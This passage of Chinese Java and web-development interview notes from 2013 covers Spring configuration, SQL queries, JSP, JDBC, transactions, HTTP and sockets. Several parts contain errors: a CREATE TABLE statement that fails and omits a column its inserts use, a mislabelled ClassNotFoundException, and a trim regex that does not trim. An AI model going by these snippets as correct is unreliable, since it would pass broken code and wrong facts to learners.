ApplicationContext ctx = new ClassPathXmlApplicationContext(configs);
// ApplicationContext ctx=new FileSystemXmlApplicationContext(configs);
AbstractDao myUserDAO = (AbstractDao) ctx.getBean("userDao");
4、Web工程定制的加载方法 XmlWebApplicationContext
ServletContext servletContext = request.getSession()
.getServletContext();
ApplicationContext ctx = WebApplicationContextUtils
.getWebApplicationContext(servletContext);
注:web.xml里面可以定义两种参数:
application范围内的参数,存放在servletcontext中。<context-param>中的参数(可以指定多个文件)
servlet范围内的参数,只能在servlet的init()方法中取得, <init-param>中的参数,在init方法中用this.getInitParameter("param1")获取
要在spring配置多个xml,并且这些文件相互应用的加载方式:
1、在web.xml配置,应用服务去加载
<servlet>
<servlet-name>app</servlet-name>
<servlet-class>
org.springframework.web.servlet.DispatcherServlet
</servlet-class>
<context-param>
<param-name>contextConfigLocation</param-name> <param-value>/WEB-INF/applicationContext*.xml,/WEB-INF/user_spring*.xml</param-value>
</context-param>
<load-on-startup>1</load-on-startup>
</servlet>
2、在/WEB-INF/applicationContext.xml配置应用服务去加载
可以在applicationContext.xml中用import引入其他的配置文件
<import resource="user_spring.xml" />
问题8、查询分组后,每个分组前几条记录?
建表语句:
/* 创建表并初始化数据 */
drop table if exists Orders;
create table Orders(
id int primary key auto_increment,
Company varchar(255),
OrderNumber varchar(255),
);
插入数据:
insert into Orders(Company,OrderNumber, pid) values('IBM','3532',1);
insert into Orders(Company,OrderNumber, pid) values('IBM','4211',1);
insert into Orders(Company,OrderNumber, pid) values('IBM','2342',2);
insert into Orders(Company,OrderNumber, pid) values('IBM','12345',3);
insert into Orders(Company,OrderNumber, pid) values('W3School','45323',1);
insert into Orders(Company,OrderNumber, pid) values('W3School','2356',2);
insert into Orders(Company,OrderNumber, pid) values('Apple','4538',1);
insert into Orders(Company,OrderNumber, pid) values('Apple','4698',2);
insert into Orders(Company,OrderNumber, pid) values('Apple','3234',2);
insert into Orders(Company,OrderNumber, pid) values('Apple','3232',3);
insert into Orders(Company,OrderNumber, pid) values('W3School','6953',3);
insert into Orders(Company,OrderNumber) values('W3School','6953');
查询语句:/* 查询Orders表,以Company分组,查出每组中的前两个记录 */
SELECT * FROM Orders o WHERE 2 >(SELECT count(*) FROM Orders WHERE Company = o.Company and OrderNumber > o.OrderNumber);
问题9、外部js中如何使用EL表达式?
外部js中的el表达式默认无效,有以下解决方案:
1、把数据保存在隐藏域中,然后由js去调
例如jsp中<input type="hidden" id="data" name="data" value="${xxx.data}">
js中,用getElementById方法
2、如果js非要放入单独文件中,可以把js文件命名为.jsp文件就可以了,这样里面el就能运行,也就是服务器可以执行这个文件了。无非页面引用的时候引用jsp就可以了。
< script src="myjs.jsp" type="text/javascript></script>
EL表达式是在服务端执行的,服务端执行完成后再传给客户端的,js是在客户端执行的,el在js前就被执行了。
把引入的外部js改为jsp文件,然后在jsp页面中引入<script src="myjs.jsp"></script>
在完全是js的jsp文件中,在执行的时候会出现乱码
在顶部加入
< %@page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>可解决乱码
然后在jsp页面中引入myjs.jsp,
< script src="myjs.jsp" type="text/javascript"></script>
但是如果js文件有创建html,就会出现错误,比如document.createElement('<option>' );即使转义后
document.createElement('<option>' ); 也没有效果 ,在解析的时候,会创建
document.createElement('<html><option>' );使用时候不识别的标识符
可以直接使用document.createElement('option')
火狐不支持select.options.appendChild(option),IE支持
select.appendChild(option) IE和Firefox都支持
火狐不支持option.innerText="test",
为兼容 改写为option.innerHTML="test"
问题10、给你一张表查询同一IP的登录次数,以及登录次数大于10次的IP?
给的参数是 id datetime url session_id ip
select 记录, count(记录) from 表 where 记录=表.记录 group by 记录 having count(记录)>10
select count(ip),ip from table group by ip having count(ip)>10;
问题11、<jsp:include>和<%@include file=""%>有什么区别?
动态:<jsp:include page="">--动作,运行时包含,先处理后包含
父页面和包含进来的页面单独编译,单独翻译成servlet后,在前台拼成一个HTML页面。
a.能自动区分被包含文件是静态还是动态;
b.如果被包含文件是静态文件,处理方式跟第1种方式一样,
如果是动态文件,则各自处理完之后把结果包含进来发给客户端。
静态:<%@include file=""%>--指令,编译时包含,先包含后处理
父页面和包含进来的页面,代码合并后,才一起翻译成servlet,反馈到前台,形成一个HTML页面。
a.不管被包含文件是静态还是动态,直接将页面中的全部内容包含进来;
b.执行时先将包含进来的内容一起处理完之后再将所有的内容发给客户端。
2013年8月22日:嘉瑶软件
问题1、使用JavaScript动态添加删除表格行?
< script type="text/javascript">
//动态增加和删除表格行的内容
document.getElementById("addID").onclick = function(){
var tbodyElement = document.getElementById("tbodyID");
//创建tr元素
var trElement = document.createElement("tr");
//创建td元素
var td1Element = document.createElement("td");
var td2Element = document.createElement("td");
var td3Element = document.createElement("td");
//创建删除按钮
var delInputElement = document.createElement("input");
delInputElement.type = "button";
delInputElement.value = "删除";
td3Element.appendChild(delInputElement);
//为删除按钮添加单击事件
delInputElement.onclick = function(){
//this表示删除按钮
//父.removeChild(子);
//this.parentNode.parentNode.parentNode.removeChild(this.parentNode.parentNode);
tbodyElement.removeChild(trElement);
}
//将td元素添加到tr元素中
trElement.appendChild(td1Element);
trElement.appendChild(td2Element);
trElement.appendChild(td3Element);
//将tr元素添加到tbody元素中
tbodyElement.appendChild(trElement);
}
function trim(message){ //去空格,正则表达式
return message.replace(/^\s*$/,"");
}
</script>
问题2、什么叫面向接口编程?有什么好处?
在系统分析和架构中,分清层次和依赖关系,每个层次不是直接向其上层提供服务(即不是直接实例化在上层中),而是通过定义一组接口,仅向上层暴露其接口功能,上层对于下层仅仅是接口依赖,而不依赖具体类。
这样做的好处是显而易见的,首先对系统灵活性大有好处。当下层需要改变时,只要接口及接口功能不变,则上层不用做任何修改。甚至可以在不改动上层代码时将下层整个替换掉,就像我们将一个WD的60G硬盘换成一个希捷的160G的硬盘,计算机其他地方不用做任何改动,而是把原硬盘拔下来、新硬盘插上就行了,因为计算机其他部分不依赖具体硬盘,而只依赖一个IDE接口,只要硬盘实现了这个接口,就可以替换上去。从这里看,程序中的接口和现实中的接口极为相似,所以我一直认为,接口(interface)这个词用的真是神似!
使用接口的另一个好处就是不同部件或层次的开发人员可以并行开工,就像造硬盘的不用等造CPU的,也不用等造显示器的,只要接口一致,设计合理,完全可以并行进行开发,从而提高效率。
问题3、事务的概念?开发中如何使用事务?
事务指逻辑上的一组操作,组成这组操作的各个单元,要么全部成功,要么全部失败。
MySQL数据库开启事务命令:
start transaction 开启事务
rollback 回滚事务
commit 提交事务
savepoint 设置回滚点
rollback to savepoint 回滚到指定的回滚点
问题4、递归算法题:一个整数,大于0,不用循环和本地变量,按照n,2n,4n,8n的顺序递增,当值大于10000时,把值按照指定顺序输出来。先顺序后逆序
public static void main(String[] args) throws Exception {
doubleNum(512);
}
public static void doubleNum(int n) {
System.out.println(n);
if (n <= 10000)
doubleNum(n * 2);
System.out.println(n);
}
问题5、两个div 并排放到同一个div上面?
第一步:
中间两个div 设置的宽度 加起来等于1000px,
第二步:
中间两个div 分别加样式 style="float:left;"
例如:
< div style="width:1000px;height:500px;background: black;">
< div style="background: blue;width: 500px;height:500px;float:left;"></div>
< div style="background: blue;width: 500px;height:500px;float:left;"></div>
问题6、一个表有birthday字段类型为date,让你查出年龄?
SELECT name,(year(now())-year(birthday)) AS age FROM Student;
问题7、智力题:一个房间有三个灯泡,开关在房间外面,你只能进房间一次,找出灯泡和开关的对应关系
先开第1个开关,开较长时间再关掉,然后开第2个开关,马上进有灯泡的房间。
如果是亮的,是第2个开关。
如果是暗的,就摸一摸,热的就是第1个开关,冷的就是第3个开关。
2013年8月23日:
问题1、操作表格的奇数行、偶数行变色的函数?
<script type="text/javascript" src="WEB-INF/jquery-1.7.min.js">
</script>
<script type="text/javascript" language="javascript">
$(document).ready(function(){
$("table tr:eq(0)").attr("style","background: #C00;"); //首行
$("table tr:odd").attr("style","background:#09F;"); //奇数行
$("table tr:even").attr("style","background: #C00;"); //偶数行
//或者通过添加css,如下
$("table tr:eq(0)").css("background-color","pink"); //首行
$("table tr:odd").css("background-color","blue"); //索引号为奇数的
$("table tr:even").css("background-color","yellow"); //索引号为偶数的
});
</script>
问题2、JSON与XML的区别?
相同之处两个都是存放数据的。要说不同,那就是存数据的方式不一样,xml数据写在xml文件中,而json需要程序添加数据,xml是一个特殊的数据文件必须符合一定的规则
格式不同,XML是标签式的:aaa bbb,JSON是键值对形式的:book:{ name:aaa, writter:bbb },JSON更加轻量级,XML开始使用比较早,而且很严谨,两者都有广泛应用,不过现在比较推荐JSON。
问题3、JDBC的使用过程?
简易流程:
1、加载驱动 2、获取连接 3、SQL语句 4、执行SQL 5、释放资源
创建一个以JDBC连接数据库的程序,包含7个步骤:
1、加载JDBC驱动程序:
在连接数据库之前,首先要加载想要连接的数据库的驱动到JVM(Java虚拟机),这通过java.lang.Class类的静态方法forName(String className)实现。
//加载MySql的驱动类
Class.forName("com.mysql.jdbc.Driver");
成功加载后,会将Driver类的实例注册到DriverManager类中。
2、提供JDBC连接的URL
例如:(MySql的连接URL)
jdbc:mysql://localhost:3306/test
3、创建数据库的连接
要连接数据库,需要向java.sql.DriverManager请求并获得Connection对象,该对象就代表一个数据库的连接。
使用DriverManager的getConnectin(String url, String username,String password )方法传入指定的欲连接的数据库的路径、数据库的用户名和密码来获得。
例如:// 连接MySql数据库,用户名和密码都是root
String url = "jdbc:mysql://localhost:3306/test";
String username = "root";
String password = "root";
Connection con = DriverManager.getConnection(url, username, password);
4、创建一个Statement
要执行SQL语句,必须获得java.sql.Statement实例,Statement实例分为以下3种类型:
1、执行静态SQL语句。通常通过Statement实例实现。
2、执行动态SQL语句。通常通过PreparedStatement实例实现。
3、执行数据库存储过程。通常通过CallableStatement实例实现。
具体的实现方式:
Statement stmt = con.createStatement();
PreparedStatement pstmt = con.prepareStatement(sql);
CallableStatement cstmt = con.prepareCall("{CALL demoSp(? , ?)}");
5、执行SQL语句
Statement接口提供了三种执行SQL语句的方法:executeQuery 、executeUpdate和execute
1、executeQuery(String sqlString):执行查询数据库的SQL语句,返回一个结果集(ResultSet)对象。
2、executeUpdate(String sqlString):用于执行INSERT、UPDATE或DELETE语句以及SQL DDL语句,如:CREATE TABLE和DROP TABLE等,返回影响行数int。
3、execute(sqlString):用于执行返回多个结果集、多个更新计数或二者组合的语句。
具体实现的代码:
ResultSet rs = stmt.executeQuery("SELECT * FROM ...") ;
int rows = stmt.executeUpdate("INSERT INTO ...") ;
boolean flag = stmt.execute(String sql) ;
6、处理结果,两种情况:
1、执行更新返回的是本次操作影响到的记录数。
2、执行查询返回的结果是一个ResultSet对象。
ResultSet包含符合SQL语句中条件的所有行,并且它通过一套get方法提供了对这些行中数据的访问。
使用结果集(ResultSet)对象的访问方法获取数据:
while (rs.next()) {
String name = rs.getString("name");
String pass = rs.getString(1); // 此方法比较高效
}
(列是从左到右编号的,并且从列1开始)
7、关闭JDBC对象
操作完成以后要把所有使用的JDBC对象全都关闭,以释放JDBC资源,关闭顺序和声明顺序相反:
1、关闭记录集
2、关闭声明
3、关闭连接对象
rs.close();
stmt.close();
conn.close();
问题4、Tomcat的默认端口号是多少,如何更改端口号?
8080是Tomcat服务器的默认的端口号。
我们可以通过修改Tomcat服务器的conf目录下的主配置文件server.xml来更改。
用记事本打开server.xml文件,找到如下部分:修改port的值即可
< Connector port="8080" protocol="HTTP/1.1" connectionTimeout="20000" redirectPort="8443" />
问题5、List与Set有什么区别?
Set List都继承 Colltction。
List接口与其实现类是容量可变的列表,可按索引访问集合中的元素,是有序的集合。
Set是一种不包含重复元素的Collection,也就是说 Set中只能有一个null元素。
List和Set是两个接口,其定义的数据类型都有自己的特点
List是顺序结构,可以是数组也可以是链表,Set就是集合,跟数学里的集合定义样,无重复(没有任何两个对象的equals方法是true)。
问题6、说出JAVA中一些常用的类,包,接口,请各举5个?
类:Object、String、Integer、System、file、FileInputStream、FileOutputStream
包:lang包、io包、util包、sql包、date包、swt包
接口: List、Map、Iterator、Connection、Writer、Reader、InputStream、OutPutStream
v
问题7、常见的异常有哪些,举几个,并说出它们是如何出现的呢?
NullPointException空指针异常
IOException输入输出流异常
ClassNotFoundException类型转换异常
ArrayIndexOutOfBoundsException下标越界异常
NumberFormatException数字格式化异常
FileNotFoundException文件未找到异常
SQLException操作数据库异常
NoSuchMethodException方法未找到异常
问题9、int和Integer有什么区别,Integer下有哪些常用方法?
int是Java提供的8种基础数据类型之一。Java为每个原始类型提供了包装类,Integer是java为int提供的包装类。
int的默认值为0,而Integer的默认值为null,即Integer可以区分出未赋值和值为0的区别,int则无法表达出未赋值的情况。
例如,要想表达出没有参加考试和考试成绩为0的区别,则只能使用Integer。
在JSP开发中,Integer的默认为null,所以用EL表达式在文本框中显示时,值为空白字符串,而int默认的默认值为0,所以用EL表达式在文本框中显示时,结果为0,所以,int不适合作为web层的表单数据的类型。
在Hibernate中,如果将OID定义为Integer类型,那么Hibernate就可以根据其值是否为null而判断一个对象是否是临时的,如果将OID定义为了int类型,还需要在hbm映射文件中设置其unsaved-value属性为0。
另外,Integer提供了多个与整数相关的操作方法,例如,将一个字符串转换成整数,Integer中还定义了表示整数的最大值和最小值的常量。
问题10、Nutch与Lucene区别?
Nutch 是基于 Lucene的。Lucene为 Nutch 提供了文本索引和搜索的API。
一个常见的问题是;我应该使用Lucene还是Nutch?
最简单的回答是:如果你不需要抓取数据的话,应该使用Lucene。如果你有数据源,需要为这些数据提供一个搜索页面。在这种情况下,最好的方式是直接从数据库中取出数据并用Lucene API建立索引。
Nutch 适用于你无法直接获取数据库中的网站,或者比较分散的数据源的情况下使用。
Lucene其实是一个提供全文文本搜索的函数库,它不是一个应用软件。它提供很多API函数让你可以运用到各种实际应用程序中。现在,它已经成为Apache的一个项目并被广泛应用。
Nutch是一个建立在Lucene核心之上的Web搜索的实现,它是一个真正的应用程序。也就是说,你可以直接下载下来拿过来用。它在Lucene的基础上加了网络爬虫和一些和Web相关的东东。其目的就是想从一个简单的站内索引和搜索推广到全球网络的搜索上。
总的来说,我认为Lucene会应用在本地服务器的网站内部搜索,而Nutch则扩展到整个网络、Internet的检索。当然Lucene加上爬虫程序等就会成为Nutch。
问题11、面向对象的特征有哪些?解释一下每一个?
封装指的是将对象的状态信息隐藏在对象内部,不允许外部程序直接访问对象内部信息,而是通过该类所提供的方法来实现对内部信息的操作和访问。
封装实际上有两个方面的含义:把该隐藏的(对象的属性和实现细节)隐藏起来,把该暴露的(方法)暴露出来。这两个方面都需要通过使用Java提供的访问控制符来实现。
继承是面向对象实现软件复用的重要手段,当子类继承父类后,子类作为一种特殊的父类,将直接获得父类的属性和方法。Java的继承具有单继承的特点,每个子类只有一个直接父类。
多态指的是子类对象可以直接赋给父类变量,但运行时依然表现子类的行为特征,这意味着同一个类别的对象在运行时可能表现出不同的行为特征。
只有子类重写了父类的方法。使用父类类型创建的引用变量,所赋的值为子类类型创建的实例(对象)时,用这个新建的对象调用子类重写父类的方法才会出现多态。
也就是说多态有3个条件:1、继承 2、重写(子类重写父类继承的方法) 3、父类引用指向子类对象
好处:
封装:安全
继承:重用
多态:灵活
问题12、方法的重写和重载?
重写父类的方法
方法的重写要遵循“两同两小一大”规则:
“两同”即方法名相同、形参列表相同,“两小”指子类方法返回值类型应比父类方法返回值类型更小或相等,子类方法声明抛出的异常应比父类方法声明抛出的异常类更小或相等。
“一大”指的是子类方法的访问权限应比父类方法更大或相等,尤其需要指出的是,覆盖方法和被覆盖方法要么都是类方法,要么都是实例方法,不能一个是类方法,一个是实例方法。
当子类覆盖了父类的方法后,子类的对象将无法访问父类中被覆盖的方法,但可以在子类方法中调用父类中被覆盖的方法。
如果要在子类中调用父类中被覆盖的实例方法,可以使用super。
如果要在子类中调用父类中被覆盖的类方法,使用父类类名来调用。
如果父类方法具有private访问权限,则该方法对其子类是隐藏的,因此其子类无法访问该方法,也就无法重写该方法。
2、方法的重写与方法的重载不同,方法的重载要遵循“两同,一个不同”规则:
“两同”即同一个类中、方法名相同,“一个不同”即形参列表不同。
Java允许同一个类里定义多个同名的方法,只要形参列表不同即可。 如果同一个类中包含了两个或两个以上的方法名相同,但参数列表不同,则被称为方法重载。至于方法的其他部分,如方法返回值类型、修饰符等,与方法重载没有任何关系。
注意:
参数列表顺序不同:(String x,int y)和(int x,String y)不会报错
参数列表类型相同变量名不同:(int x,int y)和(int y,int x)编译器会报错
无法通过返回值类型不同来进行重载
问题13、第1个人10,第2个比第1个人大2岁,依次递推,请用递归方式计算出第8个人多大?
public static int calAge(int n) {
if (1 == n)
return 10;
return calAge(n - 1) + 2;
}
public static void main(String[] args) {
System.out.println("第八个屌丝的年龄是:" + calAge(8));
}
n=3的话,
第一次:3-1 10+2+2
第二次:3-2 10+2
第三次:返回10 往上回去算
问题14、一口井,深10米.一个蜗牛从井底往上爬. 白天爬3米,晚上掉2米.问几天能爬出来?
第一天高度=3-2=1米
第二天高度=1+3-2=2米
第三天高度=2+3-2=3米
第四天高度=3+3-2=4米
第五天高度=4+3-2=5米
以此类推...
第8天高度=7+3=10米,已经爬出来了。
所以:8天爬出来。注意:这里是一口气爬出来,如果爬不出来的话需要再加1天
2013年8月24日:
问题1、String s="a"+"b"+"c" 创建了几个对象?
就创建了1个
String s = "a" + "b" + "c" + "d" + "e";
赋值符号右边的"a"、"b"、"c"、"d"、"e"都是常量
对于常量,编译时就直接存储它们的字面值而不是它们的引用
在编译时就直接讲它们连接的结果提取出来变成了"abcde"
该语句在class文件中就相当于String s = "abcde"
然后当JVM执行到这一句的时候, 就在String pool里找
如果没有这个字符串,就会产生一个
问题2、Spring事务管理的7种传播行为和4种隔离级别?
REQUIRED:业务方法需要在一个事务中运行。如果方法运行时,已经处在一个事务中,那么加入到该事务,否则为自己创建一个新的事务。
NOT_SUPPORTED:声明方法不需要事务。如果方法没有关联到一个事务,容器不会为它开启事务。如果方法在一个事务中被调用,该事务会被挂起,在方法调用结束后,原先的事务便会恢复执行。
REQUIRES_NEW:属性表明不管是否存在事务,业务方法总会为自己发起一个新的事务。如果方法已经运行在一个事务中,则原有事务会被挂起,新的事务会被创建,直到方法执行结束,新事务才算结束,原先的事务才会恢复执行。
MANDATORY:该属性指定业务方法只能在一个已经存在的事务中执行,业务方法不能发起自己的事务。如果业务方法在没有事务的环境下调用,容器就会抛出例外。
SUPPORTS:这一事务属性表明,如果业务方法在某个事务范围内被调用,则方法成为该事务的一部分。如果业务方法在事务范围外被调用,则方法在没有事务的环境下执行。
NEVER:指定业务方法绝对不能在事务范围内执行。如果业务方法在某个事务中执行,容器会抛出例外,只有业务方法没有关联到任何事务,才能正常执行。
NESTED:如果一个活动的事务存在,则运行在一个嵌套的事务中. 如果没有活动事务, 则按REQUIRED属性执行。它使用了一个单独的事务,这个事务拥有多个可以回滚的保存点。内部事务的回滚不会对外部事务造成影响。它只对DataSourceTransactionManager事务管理器起效
事务隔离级别:
数据库系统提供了四种事务隔离级别供用户选择。不同的隔离级别采用不同的锁类型来实现,在四种隔离级别中,Serializable的隔离级别最高,ReadUncommited的隔离级别最低。
大多数据库默认的隔离级别为ReadCommited,如SqlServer、Oracle,当然也有少部分数据库默认的隔离级别为RepeatableRead,如Mysql。
ReadUncommited:读未提交数据(会出现脏读,不可重复读和幻读)
ReadCommited:读已提交数据(会出现不可重复读和幻读)
RepeatableRead:可重复读(会出现幻读)
Serializable:串行化
脏读:一个事务读取到另一事务未提交的更新新据。
不可重复读:在同一事务中,多次读取同一数据返回的结果有所不同。换句话说就是,后续读取可以读到另一事务已提交的更新数据。相反,“可重复读”在同一事务中多次读取数据时,能够保证所读数据一样,也就是,后续读取不能读到另一事务已提交的更新数据。
幻读:一个事务读取到另一事务已提交的insert数据。
问题3、AJAX的原理?
AJAX的原理简单来说通过XmlHttpRequest对象来向服务器发异步请求,从服务器获得数据,然后用JavaScript来操作DOM而更新页面。这其中最关键的一步就是从服务器获得请求数据。要清楚这个过程和原理,我们必须对 XMLHttpRequest有所了解。
XMLHttpRequest是AJAX的核心机制,它是在IE5中首先引入的,是一种支持异步请求的技术。简单的说,也就是JavaScript可以及时向服务器提出请求和处理响应,而不阻塞用户。达到无刷新的效果。
所以我们先从XMLHttpRequest讲起,来看看它的工作原理。首先,我们先来看看XMLHttpRequest这个对象的属性。
它的属性有:
onReadyStateChange 每次状态改变所触发事件的事件处理程序
responseText 从服务器进程返回数据的字符串形式
responseXML 从服务器进程返回的DOM兼容的文档数据对象
status 从服务器返回的数字代码,比如常见的404(未找到)和200(已就绪)
status Text 伴随状态码的字符串信息
readyState 对象状态值
0 (未初始化) 对象已建立,但是尚未初始化(尚未调用open方法)
1 (初始化) 对象已建立,尚未调用send方法
2 (发送数据) send方法已调用,但是当前的状态及http头未知
3 (数据传送中) 已接收部分数据,因为响应及http头不全,这时通过responseBody和responseText获取部分数据会出现错误
4 (完成) 数据接收完毕,此时可以通过通过responseXml和responseText获取完整的回应数据
函数首先检查XMLHttpRequest的整体状态并且保证它已经完成(readyStatus=4),即数据已经发送完毕。然后根据服务器的设定询问请求状态,如果一切已经就绪(status=200),那么就执行下面需要的操作。
对于XmlHttpRequest的两个方法,open和send,其中open方法指定了:
a、向服务器提交数据的类型,即post还是get。
b、请求的url地址和传递的参数。
c、传输方式,false为同步,true为异步。默认为true。如果是异步通信方式(true),客户机就不等待服务器的响应;如果是同步方式(false),客户机就要等到服务器返回消息后才去执行其他操作。我们需要根据实际需要来指定同步方式,在某些页面中,可能会发出多个请求,甚至是有组织有计划有队形大规模的高强度的request,而后一个是会覆盖前一个的,这个时候当然要指定同步方式。
Send方法用来发送请求。
知道了XMLHttpRequest的工作流程,我们可以看出,XMLHttpRequest是完全用来向服务器发出一个请求的,它的作用也局限于此,但它的作用是整个AJAX实现的关键,因为AJAX无非是两个过程,发出请求和响应请求。并且它完全是一种客户端的技术。而XMLHttpRequest正是处理了服务器端和客户端通信的问题所以才会如此的重要。
现在,我们对AJAX的原理大概可以有一个了解了。我们可以把服务器端看成一个数据接口,它返回的是一个纯文本流,当然,这个文本流可以是XML格式,可以是Html,可以是JavaScript代码,也可以只是一个字符串。这时候,XMLHttpRequest向服务器端请求这个页面,服务器端将文本的结果写入页面,这和普通的web开发流程是一样的,不同的是,客户端在异步获取这个结果后,不是直接显示在页面,而是先由JavaScript来处理,然后再显示在页面。
问题4、字符串比较题?
String hello = "hello";
String hel = "hel";
String lo = "lo";
// 在"+"两边都是常量字符串,则将两个字符串合并并且在String Pool中查找"hello"
// 并返回在String Pool中的内存地址正好也是hello变量的内存地址,所以第一句代码会输出true。
System.out.println(hello == "hel" + "lo");// true
System.out.println("hello" == "hel" + "lo");// true
// 如果在"+"两边有一边是引用类型变量,Java会将合并成一个字符串并且在堆栈中创建一个
// 新的对象并且返回内存地址,所以这句代码是输出false。
System.out.println(hello == hel + "lo"); // false
System.out.println(hello == hel + lo); // false
问题5、说说什么是分布式和集群?
分布式强调同一个业务被分拆成不同的子业务,被部署在不同的服务器上(可能是性能的问题,也可能是安全的问题,也可能是模块对服务器的需求不同的问题将业务进行分解),服务器可以跨域也可以同域。
而集群偏重平行处理,一台服务器不能提供足够的能力,而采用多台服务器并行处理一个问题。
集群是指所有的设备共同完成相同的功能,每一个设备的功能都是完整的,但是在外界看来是一个设备。
分布式是所有的设备集结后,共同组成一个体系,相互之间协同工作,同时又各自完成自己的相应的工作,但是所有的功能不是在一个设备上,而是由不同的设备完成,但是由一个设备作为统一的接入点和协调点。
问题6、说说你对HTTP协议的了解?
HTTP协议主要有用于做客户端浏览器和Web服务器之间的一个通讯规则(TCP/IP)。该协议主要规定的是传输HTML(超文本)的格式,其中包含了很多的消息头信息,可以帮助底层的Socket进行识别具体的信息,那么对于开发者而言,如果掌握了HTTP协议的基本通信规则有利于后期的JavaEE开发。
默认的浏览器是无法进行协议的通信内容查看的,因此我们浏览器上需要安装一个额外的插件:HTTP Watch。
HTTP协议有1.0和1.1版本:
HTTP1.0的协议主要用于对每一次请求建立新的连接。这样会导致连接的次数过于频繁,导致速度降低。
HTTP1.1可以使得客户端建立一定时间范围内的持续连接。
请求分析
浏览器在发送请求的时候,会默认给请求进行封装,给一个请求上面添加HTTP协议相关的头信息。常见的信息如下:
GET /books/java.html HTTP/1.1 请求行
Accept: */* 请求头
Accept-Language: en-us
Connection: Keep-Alive
Host: localhost
Referer: http://localhost/links.asp
User-Agent: Mozilla/4.0
Accept-Encoding: gzip, deflate
空白行
请求行:
GET /books/java.html HTTP/1.1
请求方式 请求的资源 请求使用的协议和版本
请求方式:HTML表单、GET和POST
GET请求方式最大的特点是会将参数绑定在URL地址栏的后面进行传递,因此传递的数据是有限的且是明文的。
POST请求方式,该方式会将参数指定在请求体中进行传递。
常见的请求头分析:浏览器生成出来的信息,该信息想要通知服务器一些信息。
Accept: */* 通知服务器浏览器可以接受的数据类型
Accept-Language: en-us 通知服务器浏览器使用的语言
Connection: Keep-Alive 通知服务器在特定时间内保持连接
Host: localhost 通知服务器浏览器使用的主机
Referer: http://localhost/links.asp 通知服务器该请求来自于哪一个页面
User-Agent: Mozilla/4.0 通知服务器浏览器的版本
Accept-Encoding: gzip, deflate 通知服务器浏览器可以接受的编码格式
响应分析
浏览器给服务器发送了一个消息,那么服务器一定会给浏览器返回一个响应消息。
HTTP/1.1 200 OK 响应行
Server: Apache-Coyote/1.1 响应头
Accept-Ranges: bytes
ETag: W/"272-1351567272000"
Last-Modified: Tue, 30 Oct 2012 03:21:12 GMT
Content-Type: text/html
Content-Length: 272
Date: Tue, 30 Oct 2012 06:27:26 GMT
空白行
< !DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
< html>….</html> 响应体
HTTP/1.1 200 OK 响应行
响应的协议版本 响应的状态码 对响应码的具体描述
常见的响应码:
200 响应成功
302 继续细化您的请求
404 请求资源无法找到
500 服务器错误
Location: http://www.it315.org/index.jsp 通知浏览器需要细化的请求地址
Server:apache tomcat 通知浏览器服务器使用的服务器型号
Content-Encoding: gzip 通知浏览器服务器发送的数据类型
Content-Length: 80 通知浏览器压缩数据的大小
Content-Language: zh-cn 通知浏览器服务器发送数据的语言
Content-Type: text/html; charset=GB2312 通知浏览器服务器发送数据的内容类型、编码
Last-Modified: Tue, 11 Jul 2000 18:23:51 GMT
通知浏览器请求的资源最后一个修改的时间
Refresh: 1;url=http://www.it315.org 通知浏览器定时刷新
Content-Disposition: attachment; filename=aaa.zip 通知浏览器内容的处理方式(下载)
Transfer-Encoding: chunked 通知浏览器数据以数据块的方式逐一发送
Set-Cookie:SS=Q0=5Lb_nQ; path=/search 通知浏览器需要存储Cookie数据
Expires: -1 通知浏览器不要缓存当前的页面
Cache-Control: no-cache
Pragma: no-cache
Connection: close/Keep-Alive 通知浏览器保持或关闭连接
Date: Tue, 11 Jul 2000 18:23:51 GMT 通知浏览器服务器处理请求的时间
问题7、说说你对TCP和UDP协议的了解?
TCP
Transmission Control Protocol (传输控制协议)
特点:
面向连接、可靠、效率稍低
通过三次握手,建立连接,形成传输数据的通道。在连接中进行大数据量传输
例如:
因为TCP协议能够发现丢失的传输数据并重新发送,所以适合文件传输,接收邮件
UDP
User Datagram Protocol (用户数据报协议)
特点:
无连接、不可靠、速度快
将数据及源和目的封装成数据包中,不需要建立连接。每个数据报的大小在限制在64k内
例如:
UDP协议不能保证传输没有丢失
视频通话,即时通信,IP电话 (VoIP)电话
UDP需要学习使用的类:
DatagramSocket
DatagramPacket
需要建立发送端,接收端。
建立数据包。将数据存储在数据包中.
调用Socket的发送接收方法。
关闭Socket。
发送端与接收端是两个独立的运行程序。
UDP发送:
第一步:创建Socket
需要创建Socket, 发送端不需要指定ip地址和端口, 使用本机地址发送, 会自动找到未使用的端口。
需要使用DatagramSocket此类表示用来发送和接收数据报包的套接字。
java.lang.Object
java.net.DatagramSocket
可以通过构造函数创建该Socket对象
DatagramSocket socket = new DatagramSocket();
第二步:创建数据包
发送时需要创建数据包如何创建数据包?使用DatagramPacket
java.lang.Object
java.net.DatagramPacket 此类表示数据报包。
创建数据包时需要通过构造函数指定发送的数据(字节数组),数据长度(数组长度),接受方的IP地址(InteAddress类),接受方端口号(port)。
构造函数:
DatagramPacket(byte[] buf, int length, InetAddress address, int port)
构造数据报包,用来将长度为 length 的包发送到指定主机上的指定端口号。
第三步:发送数据
有了Socket 有了数据,如何发送数据包?使用Socket的send方法将数据包发送出去
void send(DatagramPacket p)
从此套接字发送数据报包。
第四步:关闭Socket
使用Socket的close方法关闭。
void close()
关闭此数据报套接字。
注意: 在发送端,要在数据包对象中明确目的地IP及端口。
UDP接收
第一步:需要创建Socket,
接收时必须指定端口号.
DatagramSocket socket = new DatagramSocket(8888);
第二步:创建数据包,
接收时也需要创建数据包, 用来存储数据. 需要一个字节数组.
DatagramPacket packet = new DatagramPacket(new byte[1024], 1024);
接收数据
第三步:接收数据
使用DatagramSocket 的receive方法接收数据.该方法需要指定数据包.
socket.receive(packet);
第四步: 从数据包中获取数据
byte[] data = packet.getData();
第五步:获取数据长度
int len = packet.getLength();
第六步:获取发送端ip地址
packet.getInetAddress().getHostAddress();
第七步:获取发送端端口号
packet.getPort();
第八步:关闭socket
socket.close();
注意: 在接收端,要指定监听的端口。
TCP客户端
第一步:创建客户端Socket
需要指定连接到服务器的地址和端口号, 并尝试连接
客户端需要明确服务器的ip地址以及端口,这样才可以去试着建立连接,如果连接失败,会出现异常。
Socket socket = new Socket("192.168.1.220", 8888);
第二步:连接成功获取输入输出流
连接成功,说明客户端与服务端建立了通道,那么通过IO流就可以进行数据的传输,而Socket对象已经提供了输入流和输出流对象,通getInputStream(),getOutputStream()获取即可。
socket.getInputStream();
socket.getOuputStream();
第三步: 将数据写出到服务端
使用字节输出流的write() 方法
第四步:关闭socket
调用close方法
